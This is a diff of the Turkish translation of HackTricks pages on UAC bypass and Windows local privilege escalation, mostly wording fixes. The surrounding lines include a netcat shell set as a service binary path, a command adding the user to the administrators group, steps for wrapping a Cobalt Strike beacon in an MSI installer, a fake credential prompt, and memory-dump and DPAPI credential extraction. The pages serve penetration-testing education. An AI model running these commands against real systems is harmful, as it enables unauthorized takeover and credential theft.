izinlerinizin olmadığı **DLL'yi** yazmanız gerekecek. Bunu atlatmak için: 1. **wusa.exe**: Windows 7, 8 ve 8.1. Korumalı yollar içinde bir CAB dosyasının içeriğini çıkarmaya olanak tanır (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır). 2. **IFileOperation**: Windows 10. 4. Korumalı yola DLL'nizi kopyalamak ve savunmasız ve otomatik yükseltilmiş ikili dosyayı çalıştırmak için bir **script** hazırlayın. -### Başka bir UAC bypass tekniği +### Başka bir UAC atlatma tekniği -Bir **autoElevated binary**'nin **kayıttan** bir **ikili dosyanın** veya **komutun** **adını/yolunu** **okumaya** çalışıp çalışmadığını izlemeyi içerir (bu, ikili dosya bu bilgiyi **HKCU** içinde arıyorsa daha ilginçtir). +Bir **autoElevated binary**'nin **kayıttan** bir **ikili** veya **komut**'un **adını/yolunu** **okumaya** çalışıp çalışmadığını izlemeyi içerir (bu, ikilinin bu bilgiyi **HKCU** içinde araması durumunda daha ilginçtir). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 77336ddc8..743a1c36f 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -32,7 +32,7 @@ integrity-levels.md ## Windows Güvenlik Kontrolleri -Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **önleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce **aşağıdaki sayfayı okuyun** ve **tüm bu savunma** **mekanizmalarını** **listeleyin**: +Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **önleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce, aşağıdaki **sayfayı** **okuyun** ve tüm bu **savunma** **mekanizmalarını** **listeleyin**: {{#ref}} ../authentication-credentials-uac-and-efs/ @@ -42,7 +42,7 @@ Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalışt ### Sürüm bilgisi listeleme -Windows sürümünün bilinen bir açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). +Windows sürümünün bilinen bir güvenlik açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -152,7 +152,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Sistem, güncellemeler http**S** yerine http kullanılarak talep edilmediyse tehlikeye atılabilir. +Sistem, güncellemeler http yerine http**S** kullanılarak talep edilmediyse tehlikeye atılabilir. Aşağıdaki komutu çalıştırarak ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol edersiniz: ``` @@ -178,9 +178,9 @@ Araştırmayı burada okuyun: [**Tam raporu burada okuyun**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ Temelde, bu hatanın sömürdüğü kusur şudur: -> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipsek ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahibiz. +> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipseniz ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahip oluruz. > -> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığından, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada bir güven ilk kullanımda doğrulama türü uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adı varsa, hizmet tarafından kabul edilecektir. +> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığı için, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada bir güven ilk kullanımda doğrulama türü uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adı varsa, hizmet tarafından kabul edilecektir. Bu güvenlik açığını [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) aracıyla (serbest bırakıldığında) sömürebilirsiniz. @@ -208,7 +208,7 @@ Eğer bir meterpreter oturumunuz varsa, bu tekniği **`exploit/windows/local/alw ### PowerUP -`Write-UserAddMSI` komutunu power-up'tan kullanarak mevcut dizinde ayrıcalıkları artırmak için bir Windows MSI ikili dosyası oluşturun. Bu script, bir kullanıcı/grup ekleme isteği yapan önceden derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimine ihtiyacınız olacak): +`Write-UserAddMSI` komutunu power-up'tan kullanarak mevcut dizinde ayrıcalıkları yükseltmek için bir Windows MSI ikili dosyası oluşturun. Bu script, bir kullanıcı/grup ekleme isteği yapan önceden derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimine ihtiyacınız olacak): ``` Write-UserAddMSI ``` @@ -216,7 +216,7 @@ Sadece oluşturulan ikili dosyayı çalıştırarak ayrıcalıkları artırın. ### MSI Wrapper -Bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenmek için bu eğitimi okuyun. Sadece **komut satırlarını** **çalıştırmak** istiyorsanız, bir "**.bat**" dosyasını sarmalayabileceğinizi unutmayın. +Bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenmek için bu eğitimi okuyun. Sadece **komut satırlarını** **çalıştırmak** istiyorsanız bir "**.bat**" dosyasını sarmalayabileceğinizi unutmayın. {{#ref}} msi-wrapper.md @@ -231,17 +231,17 @@ create-msi-with-wix.md ### Visual Studio ile MSI Oluşturma - **Cobalt Strike** veya **Metasploit** ile `C:\privesc\beacon.exe` konumunda **yeni bir Windows EXE TCP yükü** oluşturun. -- **Visual Studio**'yu açın, **Yeni bir proje oluştur** seçeneğini seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **İleri**'ye tıklayın. +- **Visual Studio**'yu açın, **Yeni bir proje oluştur** seçeneğini seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **İleri**ye tıklayın. - Projeye **AlwaysPrivesc** gibi bir isim verin, konum için **`C:\privesc`** kullanın, **çözümü ve projeyi aynı dizine yerleştir** seçeneğini seçin ve **Oluştur**'a tıklayın. -- 4 adımın 3. adımına (dahil edilecek dosyaları seçin) gelene kadar **İleri**'ye tıklamaya devam edin. **Ekle**'ye tıklayın ve yeni oluşturduğunuz Beacon yükünü seçin. Ardından **Tamamla**'ya tıklayın. -- **Çözüm Gezgini**'nde **AlwaysPrivesc** projesini vurgulayın ve **Özellikler**'de **TargetPlatform**'u **x86**'dan **x64**'e değiştirin. -- Yüklenen uygulamanın daha meşru görünmesini sağlayacak **Yazar** ve **Üretici** gibi değiştirebileceğiniz diğer özellikler de vardır. +- 4 adımın 3. adımına (dahil edilecek dosyaları seçin) gelene kadar **İleri**ye tıklamaya devam edin. **Ekle**'ye tıklayın ve yeni oluşturduğunuz Beacon yükünü seçin. Ardından **Tamamla**'ya tıklayın. +- **Çözüm Gezgini**'nde **AlwaysPrivesc** projesini vurgulayın ve **Özellikler**'de **TargetPlatform**'ı **x86**'dan **x64**'e değiştirin. +- Yüklenen uygulamanın daha meşru görünmesini sağlayabilecek **Yazar** ve **Üretici** gibi değiştirebileceğiniz diğer özellikler de vardır. - Projeye sağ tıklayın ve **Görüntüle > Özel Eylemler**'i seçin. - **Kurulum**'a sağ tıklayın ve **Özel Eylem Ekle**'yi seçin. - **Uygulama Klasörü**'ne çift tıklayın, **beacon.exe** dosyanızı seçin ve **Tamam**'a tıklayın. Bu, yükleyici çalıştırıldığında beacon yükünün hemen çalıştırılmasını sağlayacaktır. - **Özel Eylem Özellikleri** altında **Run64Bit**'i **True** olarak değiştirin. - Son olarak, **oluşturun**. -- `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı görünüyorsa, platformu x64 olarak ayarladığınızdan emin olun. +- `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı gösteriliyorsa, platformu x64 olarak ayarladığınızdan emin olun. ### MSI Kurulumu @@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca yeterli izinlere sahip kullanıcılara ACL'ler aracılığıyla erişim izni verilir, böylece yetkilendirilmişlerse yerel yönetici şifrelerini görüntüleyebilirler. +**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, bir domaine katılan bilgisayarlarda güvenli bir şekilde Active Directory içinde saklanır ve yalnızca yeterli izinlere sahip kullanıcılara ACL'ler aracılığıyla erişim izni verilir, böylece yetkilendirilmişlerse yerel yönetici şifrelerini görüntüleyebilirler. {{#ref}} ../active-directory-methodology/laps.md @@ -275,7 +275,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Eğer aktifse, **düz metin şifreleri LSASS** (Yerel Güvenlik Otoritesi Alt Sistemi Servisi) içinde saklanır.\ +Eğer aktifse, **düz metin şifreler LSASS** (Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti) içinde saklanır.\ [**WDigest hakkında daha fazla bilgi bu sayfada**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential @@ -321,7 +321,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Ayrıcalıklı gruplar -Eğer **bazı ayrıcalıklı gruplara ait iseniz, ayrıcalıkları artırma imkanınız olabilir**. Ayrıcalıklı gruplar hakkında bilgi edinin ve bunları nasıl kötüye kullanabileceğinizi burada öğrenin: +Eğer **ayrıcalıklı bir gruba ait iseniz, ayrıcalıkları artırma imkanınız olabilir**. Ayrıcalıklı gruplar hakkında bilgi edinin ve bunları nasıl kötüye kullanabileceğinizi burada öğrenin: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md @@ -329,8 +329,8 @@ Eğer **bazı ayrıcalıklı gruplara ait iseniz, ayrıcalıkları artırma imka ### Token manipülasyonu -**Daha fazla bilgi edinin** bir **token** nedir bu sayfada: [**Windows Tokenleri**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Aşağıdaki sayfayı kontrol edin **ilginç tokenler hakkında bilgi edinmek** ve bunları nasıl kötüye kullanabileceğinizi öğrenmek için: +**Daha fazla bilgi edinin** bir **token** nedir bu sayfada: [**Windows Token'ları**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Aşağıdaki sayfayı kontrol edin **ilginç token'lar hakkında bilgi edinmek** ve bunları nasıl kötüye kullanabileceğinizi öğrenmek için: {{#ref}} privilege-escalation-abusing-tokens.md @@ -359,7 +359,7 @@ powershell -command "Get-Clipboard" ### Dosya ve Klasör İzinleri Öncelikle, süreçleri listelemek **sürecin komut satırında şifreleri kontrol edin**.\ -Bazı çalışan ikili dosyaları **üzerine yazıp yazamayacağınızı kontrol edin** veya olası [**DLL Hijacking saldırılarını**](dll-hijacking/) istismar etmek için ikili klasörün yazma izinlerinizin olup olmadığını kontrol edin: +Bazı çalışan ikili dosyaları **üst üste yazıp yazamayacağınızı** veya ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin, olası [**DLL Hijacking saldırılarını**](dll-hijacking/index.html) istismar etmek için: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -381,7 +381,7 @@ icacls "%%z" ) ) ``` -**Süreç ikili dosyalarının klasörlerinin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/)**)** +**Süreç ikili dosyalarının klasörlerinin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -391,7 +391,7 @@ todos %username%" && echo. ``` ### Bellek Şifre Madenciliği -Çalışan bir sürecin bellek dökümünü **procdump** kullanarak oluşturabilirsiniz. FTP gibi hizmetler **kimlik bilgilerini bellek içinde düz metin olarak** saklar, belleği dökün ve kimlik bilgilerini okuyun. +Çalışan bir sürecin bellek dökümünü **procdump** kullanarak sysinternals'tan oluşturabilirsiniz. FTP gibi hizmetler **kimlik bilgilerini bellek içinde düz metin olarak** saklar, belleği dökün ve kimlik bilgilerini okuyun. ```bash procdump.exe -accepteula -ma ``` @@ -399,7 +399,7 @@ procdump.exe -accepteula -ma **SYSTEM olarak çalışan uygulamalar, bir kullanıcının CMD açmasına veya dizinleri gezmesine izin verebilir.** -Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" için arama yapın, "Komut İstemini Açmak İçin Tıklayın" seçeneğine tıklayın. +Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" araması yapın, "Komut İstemi'ni Açmak için Tıklayın" seçeneğine tıklayın. ## Hizmetler @@ -416,7 +416,7 @@ Bir servisin bilgilerini almak için **sc** kullanabilirsiniz. ```bash sc qc ``` -Her hizmet için gerekli ayrıcalık seviyesini kontrol etmek için _Sysinternals_'dan **accesschk** ikili dosyasına sahip olmanız önerilir. +Her hizmet için gerekli ayrıcalık seviyesini kontrol etmek üzere _Sysinternals_'dan **accesschk** ikilisinin bulundurulması önerilir. ```bash accesschk.exe -ucqv #Check rights for different groups ``` @@ -429,12 +429,12 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` [accesschk.exe'yi XP için buradan indirebilirsiniz](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### Servisi etkinleştir +### Servisi Etkinleştir -Bu hatayı alıyorsanız (örneğin SSDPSRV ile): +Eğer bu hatayı alıyorsanız (örneğin SSDPSRV ile): _Sistem hatası 1058 oluştu._\ -&#xNAN;_T hizmet başlatılamıyor, ya devre dışı olduğu ya da ona bağlı etkin bir cihaz olmadığı için._ +&#xNAN;_Thizmet başlatılamıyor, ya devre dışı olduğu ya da ona bağlı etkin bir cihaz olmadığı için._ Bunu etkinleştirmek için kullanabilirsiniz ```bash @@ -447,7 +447,7 @@ sc.exe config usosvc start= auto ``` ### **Servis ikili yolunu değiştir** -"Kimlik doğrulanmış kullanıcılar" grubunun bir serviste **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin çalıştırılabilir ikilisinin değiştirilmesi mümkündür. **sc**'yi değiştirmek ve çalıştırmak için: +"Authenticated users" grubunun bir serviste **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin çalıştırılabilir ikilisinin değiştirilmesi mümkündür. **sc**'yi değiştirmek ve çalıştırmak için: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -464,7 +464,7 @@ Yetkiler çeşitli izinler aracılığıyla yükseltilebilir: - **SERVICE_CHANGE_CONFIG**: Servis ikili dosyasının yeniden yapılandırılmasına izin verir. - **WRITE_DAC**: İzin yeniden yapılandırmasını etkinleştirir, bu da servis yapılandırmalarını değiştirme yeteneğine yol açar. -- **WRITE_OWNER**: Mülkiyet edinimi ve izin yeniden yapılandırmasına izin verir. +- **WRITE_OWNER**: Mülk edinimi ve izin yeniden yapılandırmasına izin verir. - **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yeteneğini devralır. - **GENERIC_ALL**: Ayrıca servis yapılandırmalarını değiştirme yeteneğini devralır. @@ -472,7 +472,7 @@ Bu güvenlik açığının tespiti ve istismarı için _exploit/windows/local/se ### Servis ikili dosyalarının zayıf izinleri -**Bir servis tarafından yürütülen ikili dosyayı değiştirebilir misiniz** veya **ikili dosyanın bulunduğu klasörde yazma izinleriniz var mı** ([**DLL Hijacking**](dll-hijacking/))**.**\ +**Bir servis tarafından yürütülen ikili dosyayı değiştirebilir misiniz** veya ikilinin bulunduğu **klasörde yazma izinleriniz var mı** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ Bir servis tarafından yürütülen her ikili dosyayı **wmic** (system32'de değil) kullanarak alabilir ve izinlerinizi **icacls** ile kontrol edebilirsiniz: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -553,7 +553,7 @@ Windows, bir hizmet başarısız olursa alınacak eylemleri belirtmeye olanak ta ### Installed Applications -**İkili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/)). +**İkili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -564,9 +564,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Yazma İzinleri -Bazı özel dosyaları okumak için bir yapılandırma dosyasını değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin. +Bazı yapılandırma dosyalarını özel bir dosyayı okumak için değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin. -Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu şudur: +Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -592,7 +592,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ### Başlangıçta Çalıştır **Farklı bir kullanıcı tarafından çalıştırılacak bazı kayıt defteri veya ikili dosyaları geçersiz kılabilir misiniz kontrol edin.**\ -**Daha fazla bilgi için** ilginç **autorun konumları hakkında** **aşağıdaki sayfayı** okuyun: +**Yetki artırımı için ilginç** **autorun konumları hakkında daha fazla bilgi edinmek için** **aşağıdaki sayfayı** **okuyun**: {{#ref}} privilege-escalation-with-autorun-binaries.md @@ -632,7 +632,7 @@ net share #Check current shares ``` ### hosts dosyası -Hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin. +hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -662,16 +662,16 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L [**Firewall ile ilgili komutlar için bu sayfayı kontrol edin**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listele, kurallar oluştur, kapat, kapat...)** -Daha fazla [ağ numaralandırma komutları burada](../basic-cmd-for-pentesters.md#network) +Daha fazla [ağ enumerasyonu komutları burada](../basic-cmd-for-pentesters.md#network) -### Windows için Linux Alt Sistemi (wsl) +### Windows Alt Sistemi için Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` Binary `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` içinde bulunabilir. -Eğer root kullanıcı alırsanız, herhangi bir portta dinleyebilirsiniz (ilk kez `nc.exe` ile bir portta dinlediğinizde, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır). +Eğer root kullanıcısı olursanız, herhangi bir portta dinleyebilirsiniz (ilk kez `nc.exe` kullanarak bir portta dinlediğinizde, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -703,7 +703,7 @@ Windows Kasa, **Windows**'un kullanıcıları **otomatik olarak giriş yapabilec Windows Kasa, Windows'un kullanıcıları otomatik olarak giriş yapabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **kaynağa erişmek için kimlik bilgilerine ihtiyaç duyan Windows uygulaması** (sunucu veya web sitesi) **bu Kimlik Bilgileri Yöneticisi** ve Windows Kasa'dan yararlanabilir ve kullanıcıların her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir. -Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve o kaynak için kimlik bilgilerini varsayılan depolama kasasından talep etmelidir.** +Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve varsayılan depolama kasasından o kaynak için kimlik bilgilerini talep etmelidir**. Makinedeki saklanan kimlik bilgilerini listelemek için `cmdkey` kullanın. ```bash @@ -727,9 +727,9 @@ Not edin ki mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util **Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, önemli ölçüde entropiye katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır. -**DPAPI, kullanıcı giriş sırlarından türetilen simetrik bir anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır. +**DPAPI, kullanıcı giriş sırlarından türetilen bir simetrik anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır. -DPAPI kullanarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier)'nı temsil eder. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini not etmek önemlidir). +DPAPI kullanarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier) anlamına gelir. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini belirtmek önemlidir). ```powershell Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ @@ -752,7 +752,7 @@ dpapi-extracting-passwords.md ### PowerShell Kimlik Bilgileri -**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde saklamak için genellikle **betik** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifresinin çözülebileceği anlamına gelir. +**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde saklamak için genellikle **betik yazma** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifresinin çözülebileceği anlamına gelir. Bir dosyadan PS kimlik bilgilerini **şifrelemek** için şunu yapabilirsiniz: ```powershell @@ -793,7 +793,7 @@ Birçok DPAPI masterkey'i Mimikatz `sekurlsa::dpapi` modülü ile bellekten **ç ### Sticky Notes -İnsanlar genellikle Windows iş istasyonlarında şifreleri ve diğer bilgileri **kaydetmek için** StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmeden. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir. +İnsanlar genellikle Windows iş istasyonlarında şifreleri ve diğer bilgileri **kaydetmek için** StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmezler. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir. ### AppCmd.exe @@ -904,7 +904,7 @@ SSH özel anahtarları kayıt defteri anahtarı `HKCU\Software\OpenSSH\Agent\Key ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Eğer bu yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\ +Eğer o yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\ Bu teknik hakkında daha fazla bilgi burada: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) Eğer `ssh-agent` servisi çalışmıyorsa ve başlangıçta otomatik olarak başlamasını istiyorsanız: @@ -1010,7 +1010,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Örnek web.config ile kimlik bilgileri: +Örnek bir web.config dosyası ile kimlik bilgileri: ```xml @@ -1050,7 +1050,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Kimlik bilgilerini isteyin -Kullanıcıdan **kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir): +Her zaman **kullanıcıdan kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1141,14 +1141,14 @@ Bin'i kontrol ederek içinde kimlik bilgileri aramalısınız. ### Inside the registry -**Kimlik bilgileri içeren diğer olası kayıt defteri anahtarları** +**Kimlik bilgileri ile diğer olası kayıt defteri anahtarları** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**AçıkSSH anahtarlarını kayıt defterinden çıkarın.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Açık SSH anahtarlarını kayıt defterinden çıkarın.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### Tarayıcı Geçmişi @@ -1168,7 +1168,7 @@ Tarayıcılardan şifreleri çıkarmak için araçlar: COM sınıfları ve arayüzleri, 